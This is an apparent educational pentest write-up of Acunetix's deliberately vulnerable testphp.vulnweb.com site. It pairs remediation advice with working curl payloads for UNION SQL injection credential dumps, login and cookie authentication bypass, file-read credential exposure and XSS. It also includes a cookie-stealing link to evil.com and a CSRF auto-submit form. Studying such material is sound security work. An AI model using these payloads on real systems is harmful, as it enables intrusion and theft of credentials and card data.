โ† Back to Writeups
kavklaw@llm ~ /writeups/vulnweb-pentest

kavklaw@llm $ cat writeup.md

Web App Pentest: Acunetix Vulnerable Site

17 Vulnerabilities Found โ€” SQL Injection, XSS, LFI, Authentication Bypass, Open Redirects & More

Pentest ๐ŸŸข Beginner Web 2026-02-07
SQL Injection XSS LFI Authentication Bypass Open Redirect Source Code Disclosure Insecure Cookies CSRF Missing Security Headers curl nmap

๐ŸŽฏ Executive Summary

This is a comprehensive penetration test of testphp.vulnweb.com, a deliberately vulnerable PHP web application maintained by Acunetix for security testing and education. If you're learning web security, this is an excellent target โ€” it's designed to be broken.

We discovered 17 distinct vulnerabilities spanning nearly every common web attack category. Here's the severity breakdown:

  • ๐Ÿ”ด Critical: 6 findings โ€” SQL injection with full DB extraction, authentication bypass, source code disclosure with credentials, plaintext passwords in cookies
  • ๐ŸŸ  High: 5 findings โ€” Additional SQLi endpoints, reflected and stored XSS
  • ๐ŸŸก Medium: 4 findings โ€” Open redirect, directory listing, missing security headers, CSRF
  • ๐Ÿ”ต Low: 2 findings โ€” Version control remnants, HTTP parameter pollution

If this were a production application, an attacker could achieve complete compromise within minutes. Let's walk through every finding, understand why each vulnerability exists, and learn how to fix them.

โš ๏ธ Legal Note: testphp.vulnweb.com is an intentionally vulnerable application provided by Acunetix for authorized security testing. Never test against systems without explicit written permission.

๐Ÿ” Phase 1 โ€” Reconnaissance

Every penetration test starts with understanding what you're attacking. We begin with reconnaissance to map the target's technology stack and attack surface.

Target Fingerprinting

A quick nmap scan and HTTP header analysis reveals everything about the stack:

$ nmap -sC -sV testphp.vulnweb.com

PORT     STATE    SERVICE
21/tcp   filtered ftp
22/tcp   filtered ssh
80/tcp   open     http (nginx 1.19.0)
443/tcp  filtered https
3306/tcp filtered mysql

Only port 80 is open โ€” all other services are behind a firewall. The HTTP response headers leak the full technology stack:

$ curl -sI "http://testphp.vulnweb.com/"

Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Content-Type: text/html; charset=UTF-8

This tells us a lot:

  • nginx 1.19.0 โ€” web server version disclosed (an attacker can look up known vulnerabilities)
  • PHP 5.6.40 โ€” this version reached End of Life in December 2018, meaning no security patches for over 7 years
  • Ubuntu 20.04 โ€” operating system leaked via the PHP version string

Site Map Discovery

By crawling the site and examining links, we map out the full application structure. Every page is a potential attack surface:

/index.php          โ€” Homepage
/listproducts.php   โ€” Product listing (cat parameter)
/artists.php        โ€” Artist listing (artist parameter)
/search.php         โ€” Search form (searchFor parameter)
/login.php          โ€” Login form
/userinfo.php       โ€” User profile
/guestbook.php      โ€” Guestbook
/showimage.php      โ€” Image display (file parameter)
/redir.php          โ€” Redirect handler (r parameter)
/AJAX/infoartist.php โ€” AJAX endpoint (id parameter)
/AJAX/infocateg.php  โ€” AJAX endpoint (id parameter)
/AJAX/infotitle.php  โ€” AJAX endpoint (id parameter)
/admin/             โ€” Directory listing exposed
/CVS/Root           โ€” Version control remnant

Notice how many pages accept user parameters (cat, artist, searchFor, file, r, id). Each one is a candidate for injection testing.

๐Ÿ’‰ Phase 2 โ€” SQL Injection (8+ Injection Points)

SQL injection is the most dangerous vulnerability class we found. The application has no input sanitization anywhere โ€” every parameter that touches a SQL query is injectable.

VULN-01: UNION-Based SQLi โ€” listproducts.php (๐Ÿ”ด Critical)

The cat parameter is directly concatenated into a SQL query. We can confirm this by injecting a single quote to break the query syntax:

$ curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1'"

The server responds with a raw MySQL error:

Error: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ''' at line 1

Why is this vulnerable? The PHP code likely looks something like:

$query = "SELECT * FROM products WHERE cat_id = " . $_GET['cat'];

When we send cat=1', the query becomes WHERE cat_id = 1' โ€” the unmatched quote causes a syntax error. The fact that the raw error is displayed to the user makes this trivially exploitable.

Enumerating Columns

For a UNION-based injection, we need to match the column count of the original query. We test with increasing NULLs until the error disappears:

# This fails โ€” wrong column count:
$ curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1+UNION+SELECT+NULL,NULL,NULL--"

# This succeeds โ€” 11 columns in the original query:
$ curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1+UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--"

Extracting Database Information

Now we can pull data from any table. The artists.php endpoint is even simpler (only 3 columns), so we'll use that:

# Get MySQL version:
$ curl -s "http://testphp.vulnweb.com/artists.php?artist=-1+UNION+SELECT+1,version(),3--"
# Output: 8.0.22-0ubuntu0.20.04.2

# Get database name:
$ curl -s "http://testphp.vulnweb.com/artists.php?artist=-1+UNION+SELECT+1,database(),3--"
# Output: acuart

# Get all table names:
$ curl -s "http://testphp.vulnweb.com/artists.php?artist=-1+UNION+SELECT+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema=database()--"
# Output: artists,carts,categ,featured,guestbook,pictures,products,users

Extracting User Credentials

The users table contains everything an attacker needs:

$ curl -s "http://testphp.vulnweb.com/artists.php?artist=-1+UNION+SELECT+1,group_concat(uname,0x3a,pass,0x3a,cc,0x3a,email+SEPARATOR+0x3c62723e),3+from+users--"

Result: test:test:1111...:any โ€” username, plaintext password, credit card number, and email. In a real application, this would be a catastrophic data breach.

VULN-03: Authentication Bypass via SQLi (๐Ÿ”ด Critical)

The login form is equally vulnerable. When the application checks credentials, it builds the query like this (confirmed via source code disclosure โ€” see VULN-08):

$qry = "SELECT * FROM users WHERE uname='".$_POST["uname"]."' AND pass='".$_POST["pass"]."'";

By injecting ' OR '1'='1 into both fields, we make the WHERE clause always true:

$ curl -s -X POST "http://testphp.vulnweb.com/userinfo.php" \
  -d "uname=test' OR '1'='1&pass=test' OR '1'='1" -D -

Response:

Set-Cookie: login=test%2Ftest

We're logged in without knowing the password. The injected SQL becomes:

SELECT * FROM users WHERE uname='test' OR '1'='1' AND pass='test' OR '1'='1'

Since '1'='1' is always true, the query returns the first user in the table. This is the textbook authentication bypass attack.

VULN-04: Cookie-Based SQLi (๐Ÿ”ด Critical)

The cookie login stores credentials as username/password and is used directly in SQL queries throughout the app:

# Source code reveals:
$login = explode('/', $_COOKIE["login"]);
$result = mysql_query("SELECT * FROM users WHERE uname='".$login[0]."' AND pass='".$login[1]."'");

An attacker can forge authentication by crafting a cookie:

$ curl -s -b "login=test' OR '1'='1' -- /test" "http://testphp.vulnweb.com/userinfo.php"
# Returns user profile page โ€” authenticated!

Additional SQLi Endpoints

We found SQL injection in 8+ locations across the application:

  • Search form (searchFor parameter) โ€” error-based injection
  • Profile update โ€” all 5 POST fields inject into an UPDATE query
  • AJAX endpoints โ€” infoartist.php, infocateg.php, infotitle.php all accept unsanitized id parameters
# Search injection:
$ curl -s -X POST "http://testphp.vulnweb.com/search.php?test=query" \
  -d "searchFor=test' OR '1'='1&goButton=go"
# Returns all products โ€” boolean injection confirmed

# AJAX injection:
$ curl -s "http://testphp.vulnweb.com/AJAX/infoartist.php?id=1'"
# Error: You have an error in your SQL syntax...

Why so many injection points? The application uses the deprecated mysql_query() function everywhere and never uses prepared statements. Every user input is concatenated directly into SQL strings.

๐Ÿ“‚ Phase 3 โ€” Local File Inclusion & Source Code Disclosure

VULN-08: LFI via showimage.php (๐Ÿ”ด Critical)

Local File Inclusion is when an application lets you read files from the server that you shouldn't have access to. The showimage.php page is supposed to display product images, but it passes the file parameter directly to PHP's fopen():

# Source code of showimage.php:
$name = $_GET["file"];
if (filter_var($name, FILTER_VALIDATE_URL)) {
    exit();
}
$fp = fopen($name, 'rb');
fpassthru($fp);

The only check is whether the input is a URL โ€” local file paths pass through freely. We can read every PHP file on the server:

# Read the database configuration:
$ curl -s "http://testphp.vulnweb.com/showimage.php?file=database_connect.php"

Output:

<?PHP
$connection = mysql_connect('127.0.0.1', 'acuart', 'trustno1')
    or die('Website is out of order...');
mysql_select_db('acuart', $connection)
    or die('Website is out of order...');
?>

Database credentials exposed: username acuart, password trustno1, host 127.0.0.1. In a real-world scenario, if MySQL were exposed to the network (port 3306 open), an attacker could connect directly to the database.

We successfully read source code for 9 PHP files including the login system, user management, product listings, and the guestbook โ€” confirming every SQL injection vulnerability from the source.

Path Traversal Attempt

While we can read any PHP file in the webroot, open_basedir prevents reading system files:

$ curl -s "http://testphp.vulnweb.com/showimage.php?file=../../../etc/passwd"

Warning: fopen(): open_basedir restriction in effect.
File(../../../etc/passwd) is not within the allowed path(s):
(/hj/:/tmp/:/proc/) in /hj/var/www/showimage.php on line 13

Even this error is an information disclosure โ€” it reveals the webroot is at /hj/var/www/ and the allowed paths include /proc/ (which could leak process information).

๐Ÿ”“ Phase 4 โ€” Cross-Site Scripting (XSS)

XSS allows an attacker to execute JavaScript in another user's browser. This application has both types:

VULN-09: Reflected XSS โ€” Search Form (๐ŸŸ  High)

Reflected XSS happens when user input is immediately echoed back in the response. The search form displays the search term without encoding it:

$ curl -s -X POST "http://testphp.vulnweb.com/search.php?test=query" \
  -d 'searchFor=<script>alert(1)</script>&goButton=go'

The response contains our script tag, unescaped:

<h2 id='pageName'>searched for: <script>alert(1)</script></h2>

In a browser, this JavaScript would execute. An attacker could craft a link like search.php?searchFor=<script>document.location='http://evil.com/?c='+document.cookie</script> and send it to a victim to steal their session cookies.

VULN-10: Stored XSS โ€” Guestbook (๐ŸŸ  High)

Stored XSS is far more dangerous because the payload is saved in the database and affects every visitor:

$ curl -s -X POST "http://testphp.vulnweb.com/guestbook.php" \
  -d 'name=tester&text=<script>alert("XSS")</script>&submit=add+message'

The response shows the script stored and rendered:

<img src="/images/remark.gif">&nbsp;&nbsp;<script>alert("XSS")</script>

Why is stored XSS worse? With reflected XSS, the attacker needs to trick someone into clicking a link. With stored XSS, every visitor to the guestbook page is automatically attacked. An attacker could inject a keylogger, cryptocurrency miner, or credential stealer that persists indefinitely.

Prevention: All user output must be encoded with htmlspecialchars() in PHP. Input should also be validated โ€” a guestbook entry should never contain HTML tags.

๐Ÿ”€ Phase 5 โ€” Open Redirect & Other Findings

VULN-11: Open Redirect (๐ŸŸก Medium)

An open redirect lets an attacker abuse a trusted domain's redirect functionality for phishing. The redir.php page takes a URL and redirects to it blindly:

# Source code:
$redir = str_replace(array("\r", "\n"), " ", $_GET['r']);
header("Location: ".$_GET['r']);
exit;

Notice the bug: CRLF characters are stripped from $redir, but the original $_GET['r'] is used in the header โ€” the sanitization is applied to the wrong variable!

$ curl -sI "http://testphp.vulnweb.com/redir.php?r=http://evil.com"

HTTP/1.1 302 Moved Temporarily
Location: http://evil.com

An attacker could send a victim http://testphp.vulnweb.com/redir.php?r=http://evil-phishing-site.com. The link looks like it goes to the trusted domain, but it redirects to the attacker's site.

VULN-12: Database Schema Exposure (๐ŸŸก Medium)

The /admin/ directory has directory listing enabled, exposing the database creation script:

$ curl -s "http://testphp.vulnweb.com/admin/create.sql"

CREATE TABLE IF NOT EXISTS artists(
    artist_id INTEGER(5) PRIMARY KEY AUTO_INCREMENT,
    aname CHAR(50), adesc BLOB);

CREATE TABLE IF NOT EXISTS users(...);

An attacker uses this to understand table structures, making SQL injection payloads more targeted.

VULN-13: Plaintext Credentials in Cookies (๐Ÿ”ด Critical)

This is one of the most egregious findings. Upon login, the application stores the username and plaintext password in a cookie:

Set-Cookie: login=test%2Ftest

This decodes to test/test (username/password). The cookie has:

  • No Secure flag โ€” sent over unencrypted HTTP, visible to network sniffers
  • No HttpOnly flag โ€” JavaScript can read it (so XSS directly steals passwords)
  • No expiry โ€” persists as a session cookie
  • No encryption โ€” raw credentials in cleartext

Combined with the XSS vulnerabilities, an attacker can steal not just sessions but actual passwords.

VULN-15: Missing Security Headers (๐ŸŸก Medium)

The application lacks every standard security header:

  • X-Frame-Options โ€” missing โ†’ vulnerable to clickjacking
  • Content-Security-Policy โ€” missing โ†’ no XSS mitigation from the browser
  • Strict-Transport-Security โ€” missing โ†’ no HTTPS enforcement
  • X-Content-Type-Options โ€” missing โ†’ MIME sniffing attacks possible
  • Referrer-Policy โ€” missing โ†’ URLs leak in referrer headers

VULN-17: Cross-Site Request Forgery (๐ŸŸก Medium)

The profile update form has no CSRF protection. An attacker could create a page that silently updates a victim's profile:

<form action="http://testphp.vulnweb.com/userinfo.php" method="POST">
  <input type="hidden" name="urname" value="HACKED">
  <input type="hidden" name="ucc" value="4111111111111111">
  <input type="hidden" name="uemail" value="[email protected]">
  <input type="hidden" name="update" value="update">
</form>
<script>document.forms[0].submit();</script>

If a logged-in user visits this page, their credit card and email are changed without any confirmation.

โ›“๏ธ Attack Chain โ€” Full Compromise in 5 Minutes

The real power of these findings is how they chain together. An attacker could achieve complete compromise in minutes:

  1. Discover the site structure โ†’ find /admin/create.sql with the database schema
  2. Read source code via showimage.php?file=database_connect.php โ†’ get DB credentials (acuart:trustno1)
  3. Bypass authentication via SQLi: uname=' OR '1'='1'--
  4. Extract all data via UNION SQLi โ†’ usernames, passwords, credit cards
  5. Plant persistent XSS in the guestbook โ†’ steal every visitor's cookies (which contain plaintext passwords)
  6. Phish users via the open redirect โ†’ redir.php?r=http://phishing-site.com

๐Ÿ›ก๏ธ Remediation Recommendations

Critical Fixes

  1. Use prepared statements everywhere โ€” Replace all mysql_query() with PDO or MySQLi prepared statements. This is the single most impactful fix.
  2. Implement proper sessions โ€” Use PHP's session_start() with server-side session storage. Never put passwords in cookies.
  3. Remove or restrict showimage.php โ€” Whitelist allowed filenames. Never pass user input to fopen().
  4. Upgrade PHP โ€” PHP 5.6 has been EOL since 2018. Upgrade to PHP 8.x.

High Priority Fixes

  1. HTML-encode all output โ€” Use htmlspecialchars($input, ENT_QUOTES, 'UTF-8') on every user-controlled value.
  2. Add CSRF tokens to all state-changing forms.
  3. Validate redirect URLs โ€” Whitelist allowed domains in redir.php.
  4. Disable directory listing in nginx config and remove /admin/create.sql.

Additional Hardening

  1. Add security headers โ€” CSP, X-Frame-Options, HSTS, X-Content-Type-Options.
  2. Hash passwords with password_hash() (bcrypt) โ€” never store plaintext.
  3. Remove version disclosures from Server and X-Powered-By headers.
  4. Remove CVS remnants and any version control artifacts from the webroot.

๐Ÿ“š All SQL Injection Points Summary

For reference, here's every SQL injection point we found:

  • /listproducts.php?cat= โ€” GET, UNION-based (11 columns)
  • /artists.php?artist= โ€” GET, UNION-based (3 columns)
  • /userinfo.php โ€” POST (uname, pass), authentication bypass
  • /userinfo.php โ€” POST (urname, ucc, uaddress, uemail, uphone), UPDATE injection
  • /search.php โ€” POST (searchFor), error-based
  • /AJAX/infoartist.php?id= โ€” GET, error-based
  • /AJAX/infocateg.php?id= โ€” GET, error-based
  • /AJAX/infotitle.php โ€” POST (id), error-based
  • Cookie login โ€” username/password fields, authentication bypass

๐ŸŽ“ What I Learned

  • One root cause, many vulnerabilities. Nearly all 17 findings trace back to a single pattern: user input trusted without validation. Every $_GET, $_POST, and $_COOKIE value flows directly into sensitive operations (SQL queries, HTML output, file operations, HTTP headers).
  • Source code disclosure is a force multiplier. The LFI in showimage.php let us read every PHP file, confirming every SQLi point from the code itself. In a real pentest, this kind of finding turns guesswork into surgical precision.
  • UNION injection is methodical. The process is always: (1) confirm injection with a quote, (2) enumerate column count with UNION SELECT NULL, (3) find reflected columns, (4) extract data from information_schema, (5) dump target tables.
  • Cookies are attack surface. Most people think of cookies as "just session data," but if the application uses cookie values in SQL queries or stores sensitive data in them, they become a critical vulnerability.
  • Defense in depth matters. Even though open_basedir prevented reading /etc/passwd, it still allowed reading all PHP files in the webroot โ€” including database credentials. One control is never enough.
  • Vulnerability chaining is key. Individual findings become exponentially more dangerous when combined: LFI โ†’ source code โ†’ confirmed SQLi โ†’ credentials โ†’ auth bypass โ†’ stored XSS โ†’ persistent compromise.

๐Ÿ›  Tools Used

  • nmap โ€” Port scanning and service detection
  • curl โ€” HTTP requests, form submissions, header analysis
  • Manual analysis โ€” Source code review, parameter fuzzing, SQL injection crafting
๐Ÿงช

Knowledge Check โ€” Web Application Security

0 / 8
In this pentest, we used UNION SELECT to extract data from the users table. What distinguishes UNION-based SQL injection from blind SQL injection?
UNION-based SQLi appends a UNION SELECT to the original query and reads extracted data directly from the page (e.g., the database version appears in the HTML). Blind SQLi is used when the application doesn't display query results โ€” you ask yes/no questions (boolean-based) or measure response time (time-based) to extract data one bit at a time. Error-based injection, which we also saw in search.php, is a third type that extracts data through database error messages.
We found XSS in both the search form and the guestbook. Why is the guestbook XSS (stored) considered more dangerous than the search XSS (reflected)?
Stored (persistent) XSS is saved in the application's database. Every user who views the guestbook page is automatically attacked โ€” no social engineering needed. Reflected XSS requires the attacker to trick the victim into clicking a specially crafted URL. Both types execute in the browser (not on the server), but stored XSS has a much larger blast radius.
The application stores login=test%2Ftest in a cookie (username/password in plaintext). Which of the following makes this cookie insecure? (Select all that apply)
All four are correct! A secure authentication system should use server-side sessions with a random token (not the actual password), set the Secure flag (HTTPS only), set the HttpOnly flag (blocks JavaScript access), and never use cookie values directly in SQL queries. This cookie violates every best practice simultaneously.
What is the most effective defense against SQL injection?
Prepared statements separate the SQL structure from the data. The database engine knows which parts are code and which are values, making injection impossible by design. addslashes() can be bypassed with multi-byte character encodings. WAFs can be evaded with encoding tricks. Input validation helps as defense-in-depth but can be too restrictive for legitimate use cases. Prepared statements are the gold standard.
The showimage.php vulnerability allowed us to read database_connect.php and extract credentials. What type of vulnerability is this?
Local File Inclusion (LFI) occurs when user input is passed to file-reading functions like fopen(), include(), or file_get_contents(). It reads files from the server's local filesystem. RFI would be if it loaded files from a remote URL. The FILTER_VALIDATE_URL check in showimage.php actually blocks RFI but leaves LFI wide open โ€” a common misconfiguration.
We bypassed the login form using uname=test' OR '1'='1. What does this payload do to the SQL query?
The original query is SELECT * FROM users WHERE uname='...' AND pass='...'. By injecting ' OR '1'='1, the WHERE clause becomes WHERE uname='test' OR '1'='1' AND pass='test' OR '1'='1'. Since '1'='1' is always true, the query matches all users and returns the first row. The application then logs you in as that user. This is the classic "always-true" authentication bypass.
Which security header would help mitigate the XSS vulnerabilities we found, even if the application code isn't fixed?
Content-Security-Policy (CSP) tells the browser which sources of JavaScript are allowed. With script-src 'self', the browser will only execute scripts loaded from the same domain โ€” inline <script> tags injected via XSS would be blocked. It's not a replacement for fixing XSS in the code, but it's a powerful defense-in-depth measure. The other headers protect against different attack types (clickjacking, downgrade attacks, MIME confusion).
We found an open redirect at redir.php?r=http://evil.com. What is the primary risk of an open redirect vulnerability?
Open redirects are primarily a phishing risk. An attacker can craft a URL like http://legitimate-bank.com/redir.php?r=http://fake-bank.com. Victims see the trusted domain in the URL and are more likely to trust the link and enter their credentials on the phishing page. Open redirects can also be used to steal OAuth tokens in some authentication flows, where the redirect URI is validated against a whitelist but the open redirect provides a way to bounce the token to an attacker-controlled domain.